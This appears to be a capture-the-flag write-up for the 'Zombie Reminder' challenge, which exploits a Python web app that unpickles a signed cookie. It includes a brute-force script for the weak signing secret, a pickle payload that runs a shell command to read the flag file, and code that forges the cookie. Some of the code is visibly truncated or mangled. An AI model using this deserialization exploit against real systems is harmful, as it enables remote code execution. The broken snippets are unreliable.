19 – Zombie Reminder
Zombies love brains. But zombies forget, so they have a tool where they can enter the location of brains they found. In a heroic mission someone managed to obtain both the source code and the information that a critical file can be found at ‘/var/www/flag’.
Your mission is to obtain the contents of this file by any means and avenge your fallen friend!
Service: https://ctf.fluxfingers.net:2073/
Source: https://ctf.fluxfingers.net/challenges/zombie_reminder.py

This challenge is a web application returning an arbitrary text that inputed by you previously. Your input is stored in “location” cookie with format of “<hash_digest>!<encoded_input>” where:

  • encoded_input = base64_encode(pickle.dumps(your_input))
  • hash_digest = sha256(encoded_input+secret_key)

When you go back to the main page, if a valid cookie is set the application will load the pickle object from cookie and print it out.</p> <pre class="brush: plain; title: ; notranslate" title="">location = pickle.loads(b64d(location)) </pre>

The purpose of hash_digest is to ensure that your_input is a string submitted through challenge’s web form. However this design has 2 major flaws:

We submit a random string (let’s say “test”) and look at the cookie:

We use this script to bruteforce the secret key :

#!/usr/bin/env python

import multiprocessing
from hashlib import *
import string
import sys

s = string.ascii_letters + string.digits
location = "VnRlc3QKcDAKLg=="
digest = "04b098d726754c810c65595a82dd42a9564ce332fd51c0da2a43bbdd42a91f37"

print len(s)

WORKERS    = 8

def worker(start,end):

    for i1 in s[start:end]:
        for i2 in s:
            for i3 in s:
                for i4 in s:
                    for i5 in s:
                        secret  = i1+i2+i3+i4+i5

                        if sha256("%s%s" % (location, secret)).hexdigest() == digest:
                            print "*******", secret

def main():

    ps = []
    for i in range(WORKERS):
        if i == WORKERS -1:
            tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),len(s),))
            tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),(i+1)*(len(s)/WORKERS),))

    for p in ps:

    return jobs.empty()

if __name__ == '__main__':

After a few minutes we managed to find the key oIqxe. Our next task is to build a pickled representation of a python code object, the goal is to execute a code similar to this when pickle.loads() is called:

__import__("commands").getoutput("cat /var/www/flag")

This code is used to generate such serialized string:

import pickle, new

def nasty(module, function, *args):
        return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

t = nasty("commands", "getoutput", "cat /var/www/flag")

print repr(t)

# Output: "(S'cat /var/www/flag'np1nicommandsngetoutputnp2n(dp3nb."

Now we have everything to get the flag, time to build a valid cookie:

from hashlib import sha256
import base64

secret = 'oIqxe'
location = b64e("(S'cat /var/www/flag'np1nicommandsngetoutputnp2n(dp3nb.")

cookie = "%s!%s" % (sha256("%s%s" % (location, secret)).hexdigest(), location)

print cookie

Place this cookie into your browser (don’t ask us how to do that lolz) and refresh, the flag will be right on the screen.

Hello, here is what we remember for you. If you want to change, delete or extend it, click below